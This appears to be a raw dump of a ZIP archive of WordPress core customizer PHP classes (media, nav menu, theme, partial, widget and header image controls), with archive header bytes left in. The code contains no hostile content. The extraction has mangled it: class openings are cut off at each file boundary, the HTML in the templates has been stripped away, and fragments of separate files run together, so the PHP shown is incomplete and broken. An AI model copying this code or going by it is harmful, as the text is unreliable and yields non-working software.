PK!"63$$$class-wp-customize-media-control.phpnu[button_labels = wp_parse_args( $this->button_labels, $this->get_default_button_labels() ); } /** * Enqueue control related scripts/styles. * * @since 3.4.0 * @since 4.2.0 Moved from WP_Customize_Upload_Control. */ public function enqueue() { wp_enqueue_media(); } /** * Refresh the parameters passed to the JavaScript via JSON. * * @since 3.4.0 * @since 4.2.0 Moved from WP_Customize_Upload_Control. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['label'] = html_entity_decode( $this->label, ENT_QUOTES, get_bloginfo( 'charset' ) ); $this->json['mime_type'] = $this->mime_type; $this->json['button_labels'] = $this->button_labels; $this->json['canUpload'] = current_user_can( 'upload_files' ); $value = $this->value(); if ( is_object( $this->setting ) ) { if ( $this->setting->default ) { /* * Fake an attachment model - needs all fields used by template. * Note that the default value must be a URL, NOT an attachment ID. */ $ext = substr( $this->setting->default, -3 ); $type = in_array( $ext, array( 'jpg', 'png', 'gif', 'bmp', 'webp', 'avif' ), true ) ? 'image' : 'document'; $default_attachment = array( 'id' => 1, 'url' => $this->setting->default, 'type' => $type, 'icon' => wp_mime_type_icon( $type, '.svg' ), 'title' => wp_basename( $this->setting->default ), ); if ( 'image' === $type ) { $default_attachment['sizes'] = array( 'full' => array( 'url' => $this->setting->default ), ); } $this->json['defaultAttachment'] = $default_attachment; } if ( $value && $this->setting->default && $value === $this->setting->default ) { // Set the default as the attachment. $this->json['attachment'] = $this->json['defaultAttachment']; } elseif ( $value ) { $this->json['attachment'] = wp_prepare_attachment_for_js( $value ); } } } /** * Don't render any content for this control from PHP. * * @since 3.4.0 * @since 4.2.0 Moved from WP_Customize_Upload_Control. * * @see WP_Customize_Media_Control::content_template() */ public function render_content() {} /** * Render a JS template for the content of the media control. * * @since 4.1.0 * @since 4.2.0 Moved from WP_Customize_Upload_Control. */ public function content_template() { ?> <# var descriptionId = _.uniqueId( 'customize-media-control-description-' ); var describedByAttr = data.description ? ' aria-describedby="' + descriptionId + '" ' : ''; #> <# if ( data.label ) { #> {{ data.label }} <# } #>
<# if ( data.description ) { #> {{{ data.description }}} <# } #> <# if ( data.attachment && data.attachment.id ) { #>
<# if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.medium ) { #> <# } else if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.full ) { #> <# } else if ( 'audio' === data.attachment.type ) { #> <# if ( data.attachment.image && data.attachment.image.src && data.attachment.image.src !== data.attachment.icon ) { #> <# } else { #> <# } #>

“{{ data.attachment.title }}”

<# if ( data.attachment.album || data.attachment.meta.album ) { #>

{{ data.attachment.album || data.attachment.meta.album }}

<# } #> <# if ( data.attachment.artist || data.attachment.meta.artist ) { #>

{{ data.attachment.artist || data.attachment.meta.artist }}

<# } #> <# } else if ( 'video' === data.attachment.type ) { #>
<# } else { #>

{{ data.attachment.title }}

<# } #>
<# if ( data.canUpload ) { #> <# } #>
<# } else { #>
<# if ( data.canUpload ) { #> <# } #>
<# if ( data.defaultAttachment ) { #> <# } #>
<# } #> mime_type ) ? strtok( ltrim( $this->mime_type, '/' ), '/' ) : 'default'; switch ( $mime_type ) { case 'video': return array( 'select' => __( 'Select video' ), 'change' => __( 'Change video' ), 'default' => __( 'Default' ), 'remove' => __( 'Remove' ), 'placeholder' => __( 'No video selected' ), 'frame_title' => __( 'Select video' ), 'frame_button' => __( 'Choose video' ), ); case 'audio': return array( 'select' => __( 'Select audio' ), 'change' => __( 'Change audio' ), 'default' => __( 'Default' ), 'remove' => __( 'Remove' ), 'placeholder' => __( 'No audio selected' ), 'frame_title' => __( 'Select audio' ), 'frame_button' => __( 'Choose audio' ), ); case 'image': return array( 'select' => __( 'Select image' ), 'site_icon' => __( 'Select Site Icon' ), 'change' => __( 'Change image' ), 'default' => __( 'Default' ), 'remove' => __( 'Remove' ), 'placeholder' => __( 'No image selected' ), 'frame_title' => __( 'Select image' ), 'frame_button' => __( 'Choose image' ), ); default: return array( 'select' => __( 'Select file' ), 'change' => __( 'Change file' ), 'default' => __( 'Default' ), 'remove' => __( 'Remove' ), 'placeholder' => __( 'No file selected' ), 'frame_title' => __( 'Select file' ), 'frame_button' => __( 'Choose file' ), ); } // End switch(). } } PK!.PP'class-wp-customize-nav-menu-control.phpnu[

setting->term_id; return $exported; } } PK!I4 2class-wp-customize-background-position-control.phpnu[ array( 'label' => __( 'Top Left' ), 'icon' => 'dashicons dashicons-arrow-left-alt', ), 'center top' => array( 'label' => __( 'Top' ), 'icon' => 'dashicons dashicons-arrow-up-alt', ), 'right top' => array( 'label' => __( 'Top Right' ), 'icon' => 'dashicons dashicons-arrow-right-alt', ), ), array( 'left center' => array( 'label' => __( 'Left' ), 'icon' => 'dashicons dashicons-arrow-left-alt', ), 'center center' => array( 'label' => __( 'Center' ), 'icon' => 'background-position-center-icon', ), 'right center' => array( 'label' => __( 'Right' ), 'icon' => 'dashicons dashicons-arrow-right-alt', ), ), array( 'left bottom' => array( 'label' => __( 'Bottom Left' ), 'icon' => 'dashicons dashicons-arrow-left-alt', ), 'center bottom' => array( 'label' => __( 'Bottom' ), 'icon' => 'dashicons dashicons-arrow-down-alt', ), 'right bottom' => array( 'label' => __( 'Bottom Right' ), 'icon' => 'dashicons dashicons-arrow-right-alt', ), ), ); ?> <# if ( data.label ) { #> {{{ data.label }}} <# } #> <# if ( data.description ) { #> {{{ data.description }}} <# } #>
$input ) : ?>
<# if ( data.description ) { #>

{{ data.description }}

<# } #> json['theme'] = $this->theme; } /** * Don't render the control content from PHP, as it's rendered via JS on load. * * @since 4.2.0 */ public function render_content() {} /** * Render a JS template for theme display. * * @since 4.2.0 */ public function content_template() { /* translators: %s: Theme name. */ $details_label = sprintf( __( 'Details for theme: %s' ), '{{ data.theme.name }}' ); /* translators: %s: Theme name. */ $customize_label = sprintf( __( 'Customize theme: %s' ), '{{ data.theme.name }}' ); /* translators: %s: Theme name. */ $preview_label = sprintf( __( 'Live preview theme: %s' ), '{{ data.theme.name }}' ); /* translators: %s: Theme name. */ $install_label = sprintf( __( 'Install and preview theme: %s' ), '{{ data.theme.name }}' ); ?> <# if ( data.theme.active ) { #>
<# } else { #>
<# } #> <# if ( data.theme.screenshot && data.theme.screenshot[0] ) { #>
<# } else { #>
<# } #>
<# if ( 'installed' === data.theme.type && data.theme.hasUpdate ) { #> <# if ( data.theme.updateResponse.compatibleWP && data.theme.updateResponse.compatiblePHP ) { #>

' . __( 'Update now' ) . '' ); } ?>

<# } else { #>

<# if ( ! data.theme.updateResponse.compatibleWP && ! data.theme.updateResponse.compatiblePHP ) { #> Please update WordPress, and then learn more about updating PHP.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } elseif ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( 'Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } ?> <# } else if ( ! data.theme.updateResponse.compatibleWP ) { #> Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } ?> <# } else if ( ! data.theme.updateResponse.compatiblePHP ) { #> Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } ?> <# } #>

<# } #> <# } #> <# if ( ! data.theme.compatibleWP || ! data.theme.compatiblePHP ) { #>

<# if ( ! data.theme.compatibleWP && ! data.theme.compatiblePHP ) { #> Please update WordPress, and then learn more about updating PHP.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } elseif ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( 'Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } ?> <# } else if ( ! data.theme.compatibleWP ) { #> Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } ?> <# } else if ( ! data.theme.compatiblePHP ) { #> Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } ?> <# } #>

<# } #> <# if ( data.theme.active ) { #>

{{ data.theme.name }}

'success', 'additional_classes' => array( 'notice-alt' ), ) ); ?> <# } else if ( 'installed' === data.theme.type ) { #> <# if ( data.theme.blockTheme ) { #>

{{ data.theme.name }}

<# if ( data.theme.actions.activate ) { #> <# } #>
<# if ( data.theme.actions.activate ) { #> activate this theme, and use the Site Editor to customize it.' ), '{{{ data.theme.actions.activate }}}' ); ?> <# } #> 'error', 'additional_classes' => array( 'notice-alt' ), ) ); ?> <# } else { #>

{{ data.theme.name }}

<# if ( data.theme.compatibleWP && data.theme.compatiblePHP ) { #> <# } else { #> <# } #>
'success', 'additional_classes' => array( 'notice-alt' ), ) ); ?> <# } #> <# } else { #>

{{ data.theme.name }}

<# if ( data.theme.compatibleWP && data.theme.compatiblePHP ) { #> <# } else { #> <# } #>
<# } #>
json['locationId'] = $this->location_id; } /** * Render content just like a normal select control. * * @since 4.3.0 * @since 4.9.0 Added a button to create menus. */ public function render_content() { if ( empty( $this->choices ) ) { return; } $value_hidden_class = ''; $no_value_hidden_class = ''; if ( $this->value() ) { $value_hidden_class = ' hidden'; } else { $no_value_hidden_class = ' hidden'; } ?> -?\d+)\]$/'; const TAXONOMY = 'nav_menu'; const TYPE = 'nav_menu'; /** * Setting type. * * @since 4.3.0 * @var string */ public $type = self::TYPE; /** * Default setting value. * * @since 4.3.0 * @var array * * @see wp_get_nav_menu_object() */ public $default = array( 'name' => '', 'description' => '', 'parent' => 0, 'auto_add' => false, ); /** * Default transport. * * @since 4.3.0 * @var string */ public $transport = 'postMessage'; /** * The term ID represented by this setting instance. * * A negative value represents a placeholder ID for a new menu not yet saved. * * @since 4.3.0 * @var int */ public $term_id; /** * Previous (placeholder) term ID used before creating a new menu. * * This value will be exported to JS via the {@see 'customize_save_response'} filter * so that JavaScript can update the settings to refer to the newly-assigned * term ID. This value is always negative to indicate it does not refer to * a real term. * * @since 4.3.0 * @var int * * @see WP_Customize_Nav_Menu_Setting::update() * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response() */ public $previous_term_id; /** * Whether or not update() was called. * * @since 4.3.0 * @var bool */ protected $is_updated = false; /** * Status for calling the update method, used in customize_save_response filter. * * See {@see 'customize_save_response'}. * * When status is inserted, the placeholder term ID is stored in `$previous_term_id`. * When status is error, the error is stored in `$update_error`. * * @since 4.3.0 * @var string updated|inserted|deleted|error * * @see WP_Customize_Nav_Menu_Setting::update() * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response() */ public $update_status; /** * Any error object returned by wp_update_nav_menu_object() when setting is updated. * * @since 4.3.0 * @var WP_Error * * @see WP_Customize_Nav_Menu_Setting::update() * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response() */ public $update_error; /** * Constructor. * * Any supplied $args override class property defaults. * * @since 4.3.0 * * @throws Exception If $id is not valid for this setting type. * * @param WP_Customize_Manager $manager Customizer bootstrap instance. * @param string $id A specific ID of the setting. * Can be a theme mod or option name. * @param array $args Optional. Setting arguments. */ public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) { if ( empty( $manager->nav_menus ) ) { throw new Exception( 'Expected WP_Customize_Manager::$nav_menus to be set.' ); } if ( ! preg_match( self::ID_PATTERN, $id, $matches ) ) { throw new Exception( "Illegal widget setting ID: $id" ); } $this->term_id = (int) $matches['id']; parent::__construct( $manager, $id, $args ); } /** * Get the instance data for a given widget setting. * * @since 4.3.0 * * @see wp_get_nav_menu_object() * * @return array Instance data. */ public function value() { if ( $this->is_previewed && get_current_blog_id() === $this->_previewed_blog_id ) { $undefined = new stdClass(); // Symbol. $post_value = $this->post_value( $undefined ); if ( $undefined === $post_value ) { $value = $this->_original_value; } else { $value = $post_value; } } else { $value = false; // Note that a term_id of less than one indicates a nav_menu not yet inserted. if ( $this->term_id > 0 ) { $term = wp_get_nav_menu_object( $this->term_id ); if ( $term ) { $value = wp_array_slice_assoc( (array) $term, array_keys( $this->default ) ); $nav_menu_options = (array) get_option( 'nav_menu_options', array() ); $value['auto_add'] = false; if ( isset( $nav_menu_options['auto_add'] ) && is_array( $nav_menu_options['auto_add'] ) ) { $value['auto_add'] = in_array( $term->term_id, $nav_menu_options['auto_add'], true ); } } } if ( ! is_array( $value ) ) { $value = $this->default; } } return $value; } /** * Handle previewing the setting. * * @since 4.3.0 * @since 4.4.0 Added boolean return value * * @see WP_Customize_Manager::post_value() * * @return bool False if method short-circuited due to no-op. */ public function preview() { if ( $this->is_previewed ) { return false; } $undefined = new stdClass(); $is_placeholder = ( $this->term_id < 0 ); $is_dirty = ( $undefined !== $this->post_value( $undefined ) ); if ( ! $is_placeholder && ! $is_dirty ) { return false; } $this->is_previewed = true; $this->_original_value = $this->value(); $this->_previewed_blog_id = get_current_blog_id(); add_filter( 'wp_get_nav_menus', array( $this, 'filter_wp_get_nav_menus' ), 10, 2 ); add_filter( 'wp_get_nav_menu_object', array( $this, 'filter_wp_get_nav_menu_object' ), 10, 2 ); add_filter( 'default_option_nav_menu_options', array( $this, 'filter_nav_menu_options' ) ); add_filter( 'option_nav_menu_options', array( $this, 'filter_nav_menu_options' ) ); return true; } /** * Filters the wp_get_nav_menus() result to ensure the inserted menu object is included, and the deleted one is removed. * * @since 4.3.0 * * @see wp_get_nav_menus() * * @param WP_Term[] $menus An array of menu objects. * @param array $args An array of arguments used to retrieve menu objects. * @return WP_Term[] Array of menu objects. */ public function filter_wp_get_nav_menus( $menus, $args ) { if ( get_current_blog_id() !== $this->_previewed_blog_id ) { return $menus; } $setting_value = $this->value(); $is_delete = ( false === $setting_value ); $index = -1; // Find the existing menu item's position in the list. foreach ( $menus as $i => $menu ) { if ( (int) $this->term_id === (int) $menu->term_id || (int) $this->previous_term_id === (int) $menu->term_id ) { $index = $i; break; } } if ( $is_delete ) { // Handle deleted menu by removing it from the list. if ( -1 !== $index ) { array_splice( $menus, $index, 1 ); } } else { // Handle menus being updated or inserted. $menu_obj = (object) array_merge( array( 'term_id' => $this->term_id, 'term_taxonomy_id' => $this->term_id, 'slug' => sanitize_title( $setting_value['name'] ), 'count' => 0, 'term_group' => 0, 'taxonomy' => self::TAXONOMY, 'filter' => 'raw', ), $setting_value ); array_splice( $menus, $index, ( -1 === $index ? 0 : 1 ), array( $menu_obj ) ); } // Make sure the menu objects get re-sorted after an update/insert. if ( ! $is_delete && ! empty( $args['orderby'] ) ) { $menus = wp_list_sort( $menus, array( $args['orderby'] => 'ASC', ) ); } // @todo Add support for $args['hide_empty'] === true. return $menus; } /** * Temporary non-closure passing of orderby value to function. * * @since 4.3.0 * @var string * * @see WP_Customize_Nav_Menu_Setting::filter_wp_get_nav_menus() * @see WP_Customize_Nav_Menu_Setting::_sort_menus_by_orderby() */ protected $_current_menus_sort_orderby; /** * Sort menu objects by the class-supplied orderby property. * * This is a workaround for a lack of closures. * * @since 4.3.0 * @deprecated 4.7.0 Use wp_list_sort() * * @param object $menu1 * @param object $menu2 * @return int * * @see WP_Customize_Nav_Menu_Setting::filter_wp_get_nav_menus() */ protected function _sort_menus_by_orderby( $menu1, $menu2 ) { _deprecated_function( __METHOD__, '4.7.0', 'wp_list_sort' ); $key = $this->_current_menus_sort_orderby; return strcmp( $menu1->$key, $menu2->$key ); } /** * Filters the wp_get_nav_menu_object() result to supply the previewed menu object. * * Requesting a nav_menu object by anything but ID is not supported. * * @since 4.3.0 * * @see wp_get_nav_menu_object() * * @param object|null $menu_obj Object returned by wp_get_nav_menu_object(). * @param string $menu_id ID of the nav_menu term. Requests by slug or name will be ignored. * @return object|null */ public function filter_wp_get_nav_menu_object( $menu_obj, $menu_id ) { $ok = ( get_current_blog_id() === $this->_previewed_blog_id && is_int( $menu_id ) && $menu_id === $this->term_id ); if ( ! $ok ) { return $menu_obj; } $setting_value = $this->value(); // Handle deleted menus. if ( false === $setting_value ) { return false; } // Handle sanitization failure by preventing short-circuiting. if ( null === $setting_value ) { return $menu_obj; } $menu_obj = (object) array_merge( array( 'term_id' => $this->term_id, 'term_taxonomy_id' => $this->term_id, 'slug' => sanitize_title( $setting_value['name'] ), 'count' => 0, 'term_group' => 0, 'taxonomy' => self::TAXONOMY, 'filter' => 'raw', ), $setting_value ); return $menu_obj; } /** * Filters the nav_menu_options option to include this menu's auto_add preference. * * @since 4.3.0 * * @param array $nav_menu_options Nav menu options including auto_add. * @return array (Maybe) modified nav menu options. */ public function filter_nav_menu_options( $nav_menu_options ) { if ( get_current_blog_id() !== $this->_previewed_blog_id ) { return $nav_menu_options; } $menu = $this->value(); $nav_menu_options = $this->filter_nav_menu_options_value( $nav_menu_options, $this->term_id, false === $menu ? false : $menu['auto_add'] ); return $nav_menu_options; } /** * Sanitize an input. * * Note that parent::sanitize() erroneously does wp_unslash() on $value, but * we remove that in this override. * * @since 4.3.0 * * @param array $value The menu value to sanitize. * @return array|false|null Null if an input isn't valid. False if it is marked for deletion. * Otherwise the sanitized value. */ public function sanitize( $value ) { // Menu is marked for deletion. if ( false === $value ) { return $value; } // Invalid. if ( ! is_array( $value ) ) { return null; } $default = array( 'name' => '', 'description' => '', 'parent' => 0, 'auto_add' => false, ); $value = array_merge( $default, $value ); $value = wp_array_slice_assoc( $value, array_keys( $default ) ); $value['name'] = trim( esc_html( $value['name'] ) ); // This sanitization code is used in wp-admin/nav-menus.php. $value['description'] = sanitize_text_field( $value['description'] ); $value['parent'] = max( 0, (int) $value['parent'] ); $value['auto_add'] = ! empty( $value['auto_add'] ); if ( '' === $value['name'] ) { $value['name'] = _x( '(unnamed)', 'Missing menu name.' ); } /** This filter is documented in wp-includes/class-wp-customize-setting.php */ return apply_filters( "customize_sanitize_{$this->id}", $value, $this ); } /** * Storage for data to be sent back to client in customize_save_response filter. * * See {@see 'customize_save_response'}. * * @since 4.3.0 * @var array * * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response() */ protected $_widget_nav_menu_updates = array(); /** * Create/update the nav_menu term for this setting. * * Any created menus will have their assigned term IDs exported to the client * via the {@see 'customize_save_response'} filter. Likewise, any errors will be exported * to the client via the customize_save_response() filter. * * To delete a menu, the client can send false as the value. * * @since 4.3.0 * * @see wp_update_nav_menu_object() * * @param array|false $value { * The value to update. Note that slug cannot be updated via wp_update_nav_menu_object(). * If false, then the menu will be deleted entirely. * * @type string $name The name of the menu to save. * @type string $description The term description. Default empty string. * @type int $parent The id of the parent term. Default 0. * @type bool $auto_add Whether pages will auto_add to this menu. Default false. * } * @return null|void */ protected function update( $value ) { if ( $this->is_updated ) { return; } $this->is_updated = true; $is_placeholder = ( $this->term_id < 0 ); $is_delete = ( false === $value ); add_filter( 'customize_save_response', array( $this, 'amend_customize_save_response' ) ); $auto_add = null; if ( $is_delete ) { // If the current setting term is a placeholder, a delete request is a no-op. if ( $is_placeholder ) { $this->update_status = 'deleted'; } else { $r = wp_delete_nav_menu( $this->term_id ); if ( is_wp_error( $r ) ) { $this->update_status = 'error'; $this->update_error = $r; } else { $this->update_status = 'deleted'; $auto_add = false; } } } else { // Insert or update menu. $menu_data = wp_array_slice_assoc( $value, array( 'description', 'parent' ) ); $menu_data['menu-name'] = $value['name']; $menu_id = $is_placeholder ? 0 : $this->term_id; $r = wp_update_nav_menu_object( $menu_id, wp_slash( $menu_data ) ); $original_name = $menu_data['menu-name']; $name_conflict_suffix = 1; while ( is_wp_error( $r ) && 'menu_exists' === $r->get_error_code() ) { $name_conflict_suffix += 1; /* translators: 1: Original menu name, 2: Duplicate count. */ $menu_data['menu-name'] = sprintf( __( '%1$s (%2$d)' ), $original_name, $name_conflict_suffix ); $r = wp_update_nav_menu_object( $menu_id, wp_slash( $menu_data ) ); } if ( is_wp_error( $r ) ) { $this->update_status = 'error'; $this->update_error = $r; } else { if ( $is_placeholder ) { $this->previous_term_id = $this->term_id; $this->term_id = $r; $this->update_status = 'inserted'; } else { $this->update_status = 'updated'; } $auto_add = $value['auto_add']; } } if ( null !== $auto_add ) { $nav_menu_options = $this->filter_nav_menu_options_value( (array) get_option( 'nav_menu_options', array() ), $this->term_id, $auto_add ); update_option( 'nav_menu_options', $nav_menu_options ); } if ( 'inserted' === $this->update_status ) { // Make sure that new menus assigned to nav menu locations use their new IDs. foreach ( $this->manager->settings() as $setting ) { if ( ! preg_match( '/^nav_menu_locations\[/', $setting->id ) ) { continue; } $post_value = $setting->post_value( null ); if ( ! is_null( $post_value ) && (int) $post_value === $this->previous_term_id ) { $this->manager->set_post_value( $setting->id, $this->term_id ); $setting->save(); } } // Make sure that any nav_menu widgets referencing the placeholder nav menu get updated and sent back to client. foreach ( array_keys( $this->manager->unsanitized_post_values() ) as $setting_id ) { $nav_menu_widget_setting = $this->manager->get_setting( $setting_id ); if ( ! $nav_menu_widget_setting || ! preg_match( '/^widget_nav_menu\[/', $nav_menu_widget_setting->id ) ) { continue; } $widget_instance = $nav_menu_widget_setting->post_value(); // Note that this calls WP_Customize_Widgets::sanitize_widget_instance(). if ( empty( $widget_instance['nav_menu'] ) || (int) $widget_instance['nav_menu'] !== $this->previous_term_id ) { continue; } $widget_instance['nav_menu'] = $this->term_id; $updated_widget_instance = $this->manager->widgets->sanitize_widget_js_instance( $widget_instance ); $this->manager->set_post_value( $nav_menu_widget_setting->id, $updated_widget_instance ); $nav_menu_widget_setting->save(); $this->_widget_nav_menu_updates[ $nav_menu_widget_setting->id ] = $updated_widget_instance; } } } /** * Updates a nav_menu_options array. * * @since 4.3.0 * * @see WP_Customize_Nav_Menu_Setting::filter_nav_menu_options() * @see WP_Customize_Nav_Menu_Setting::update() * * @param array $nav_menu_options Array as returned by get_option( 'nav_menu_options' ). * @param int $menu_id The term ID for the given menu. * @param bool $auto_add Whether to auto-add or not. * @return array (Maybe) modified nav_menu_options array. */ protected function filter_nav_menu_options_value( $nav_menu_options, $menu_id, $auto_add ) { $nav_menu_options = (array) $nav_menu_options; if ( ! isset( $nav_menu_options['auto_add'] ) ) { $nav_menu_options['auto_add'] = array(); } $i = array_search( $menu_id, $nav_menu_options['auto_add'], true ); if ( $auto_add && false === $i ) { array_push( $nav_menu_options['auto_add'], $this->term_id ); } elseif ( ! $auto_add && false !== $i ) { array_splice( $nav_menu_options['auto_add'], $i, 1 ); } return $nav_menu_options; } /** * Export data for the JS client. * * @since 4.3.0 * * @see WP_Customize_Nav_Menu_Setting::update() * * @param array $data Additional information passed back to the 'saved' event on `wp.customize`. * @return array Export data. */ public function amend_customize_save_response( $data ) { if ( ! isset( $data['nav_menu_updates'] ) ) { $data['nav_menu_updates'] = array(); } if ( ! isset( $data['widget_nav_menu_updates'] ) ) { $data['widget_nav_menu_updates'] = array(); } $data['nav_menu_updates'][] = array( 'term_id' => $this->term_id, 'previous_term_id' => $this->previous_term_id, 'error' => $this->update_error ? $this->update_error->get_error_code() : null, 'status' => $this->update_status, 'saved_value' => 'deleted' === $this->update_status ? null : $this->value(), ); $data['widget_nav_menu_updates'] = array_merge( $data['widget_nav_menu_updates'], $this->_widget_nav_menu_updates ); $this->_widget_nav_menu_updates = array(); return $data; } } PK!-'class-wp-customize-new-menu-control.phpnu[
  • id ); return $exported; } } PK!EH)H)class-wp-customize-partial.phpnu[$key = $args[ $key ]; } } $this->component = $component; $this->id = $id; $this->id_data['keys'] = preg_split( '/\[/', str_replace( ']', '', $this->id ) ); $this->id_data['base'] = array_shift( $this->id_data['keys'] ); if ( empty( $this->render_callback ) ) { $this->render_callback = array( $this, 'render_callback' ); } // Process settings. if ( ! isset( $this->settings ) ) { $this->settings = array( $id ); } elseif ( is_string( $this->settings ) ) { $this->settings = array( $this->settings ); } if ( empty( $this->primary_setting ) ) { $this->primary_setting = current( $this->settings ); } } /** * Retrieves parsed ID data for multidimensional setting. * * @since 4.5.0 * * @return array { * ID data for multidimensional partial. * * @type string $base ID base. * @type array $keys Keys for multidimensional array. * } */ final public function id_data() { return $this->id_data; } /** * Renders the template partial involving the associated settings. * * @since 4.5.0 * * @param array $container_context Optional. Array of context data associated with the target container (placement). * Default empty array. * @return string|array|false The rendered partial as a string, raw data array (for client-side JS template), * or false if no render applied. */ final public function render( $container_context = array() ) { $partial = $this; $rendered = false; if ( ! empty( $this->render_callback ) ) { ob_start(); $return_render = call_user_func( $this->render_callback, $this, $container_context ); $ob_render = ob_get_clean(); if ( null !== $return_render && '' !== $ob_render ) { _doing_it_wrong( __FUNCTION__, __( 'Partial render must echo the content or return the content string (or array), but not both.' ), '4.5.0' ); } /* * Note that the string return takes precedence because the $ob_render may just\ * include PHP warnings or notices. */ $rendered = null !== $return_render ? $return_render : $ob_render; } /** * Filters partial rendering. * * @since 4.5.0 * * @param string|array|false $rendered The partial value. Default false. * @param WP_Customize_Partial $partial WP_Customize_Setting instance. * @param array $container_context Optional array of context data associated with * the target container. */ $rendered = apply_filters( 'customize_partial_render', $rendered, $partial, $container_context ); /** * Filters partial rendering for a specific partial. * * The dynamic portion of the hook name, `$partial->ID` refers to the partial ID. * * @since 4.5.0 * * @param string|array|false $rendered The partial value. Default false. * @param WP_Customize_Partial $partial WP_Customize_Setting instance. * @param array $container_context Optional array of context data associated with * the target container. */ $rendered = apply_filters( "customize_partial_render_{$partial->id}", $rendered, $partial, $container_context ); return $rendered; } /** * Default callback used when invoking WP_Customize_Control::render(). * * Note that this method may echo the partial *or* return the partial as * a string or array, but not both. Output buffering is performed when this * is called. Subclasses can override this with their specific logic, or they * may provide an 'render_callback' argument to the constructor. * * This method may return an HTML string for straight DOM injection, or it * may return an array for supporting Partial JS subclasses to render by * applying to client-side templating. * * @since 4.5.0 * * @param WP_Customize_Partial $partial Partial. * @param array $context Context. * @return string|array|false */ public function render_callback( WP_Customize_Partial $partial, $context = array() ) { unset( $partial, $context ); return false; } /** * Retrieves the data to export to the client via JSON. * * @since 4.5.0 * * @return array Array of parameters passed to the JavaScript. */ public function json() { $exports = array( 'settings' => $this->settings, 'primarySetting' => $this->primary_setting, 'selector' => $this->selector, 'type' => $this->type, 'fallbackRefresh' => $this->fallback_refresh, 'containerInclusive' => $this->container_inclusive, ); return $exports; } /** * Checks if the user can refresh this partial. * * Returns false if the user cannot manipulate one of the associated settings, * or if one of the associated settings does not exist. * * @since 4.5.0 * * @return bool False if user can't edit one of the related settings, * or if one of the associated settings does not exist. */ final public function check_capabilities() { if ( ! empty( $this->capability ) && ! current_user_can( $this->capability ) ) { return false; } foreach ( $this->settings as $setting_id ) { $setting = $this->component->manager->get_setting( $setting_id ); if ( ! $setting || ! $setting->check_capabilities() ) { return false; } } return true; } } PK!ʘ*class-wp-widget-area-customize-control.phpnu[json[ $key ] = $this->$key; } } /** * Renders the control's content. * * @since 3.9.0 */ public function render_content() { $id = 'reorder-widgets-desc-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id ); ?>

    json[ $key ] = $this->$key; } // Get the widget_control and widget_content. require_once ABSPATH . 'wp-admin/includes/widgets.php'; $widget = $wp_registered_widgets[ $this->widget_id ]; if ( ! isset( $widget['params'][0] ) ) { $widget['params'][0] = array(); } $args = array( 'widget_id' => $widget['id'], 'widget_name' => $widget['name'], ); $args = wp_list_widget_controls_dynamic_sidebar( array( 0 => $args, 1 => $widget['params'][0], ) ); $widget_control_parts = $this->manager->widgets->get_widget_control_parts( $args ); $this->json['widget_control'] = $widget_control_parts['control']; $this->json['widget_content'] = $widget_control_parts['content']; } /** * Override render_content to be no-op since content is exported via to_json for deferred embedding. * * @since 3.9.0 */ public function render_content() {} /** * Whether the current widget is rendered on the page. * * @since 4.0.0 * * @return bool Whether the widget is rendered. */ public function active_callback() { return $this->manager->widgets->is_widget_rendered( $this->widget_id ); } } PK!^^+class-wp-customize-header-image-control.phpnu[ __( 'Header Image' ), 'settings' => array( 'default' => 'header_image', 'data' => 'header_image_data', ), 'section' => 'header_image', 'removed' => 'remove-header', 'get_url' => 'get_header_image', ) ); } /** */ public function enqueue() { wp_enqueue_media(); wp_enqueue_script( 'customize-views' ); $this->prepare_control(); wp_localize_script( 'customize-views', '_wpCustomizeHeader', array( 'data' => array( 'width' => absint( get_theme_support( 'custom-header', 'width' ) ), 'height' => absint( get_theme_support( 'custom-header', 'height' ) ), 'flex-width' => absint( get_theme_support( 'custom-header', 'flex-width' ) ), 'flex-height' => absint( get_theme_support( 'custom-header', 'flex-height' ) ), 'currentImgSrc' => $this->get_current_image_src(), ), 'nonces' => array( 'add' => wp_create_nonce( 'header-add' ), 'remove' => wp_create_nonce( 'header-remove' ), ), 'uploads' => $this->uploaded_headers, 'defaults' => $this->default_headers, ) ); parent::enqueue(); } /** * @global Custom_Image_Header $custom_image_header */ public function prepare_control() { global $custom_image_header; if ( empty( $custom_image_header ) ) { return; } add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_header_image_template' ) ); // Process default headers and uploaded headers. $custom_image_header->process_default_headers(); $this->default_headers = $custom_image_header->get_default_header_images(); $this->uploaded_headers = $custom_image_header->get_uploaded_header_images(); } /** */ public function print_header_image_template() { ?> value(); if ( isset( $this->get_url ) ) { $src = call_user_func( $this->get_url, $src ); return $src; } } /** */ public function render_content() { $visibility = $this->get_current_image_src() ? '' : ' style="display:none" '; $width = absint( get_theme_support( 'custom-header', 'width' ) ); $height = absint( get_theme_support( 'custom-header', 'height' ) ); ?>
    ' . $this->label . ''; } ?>

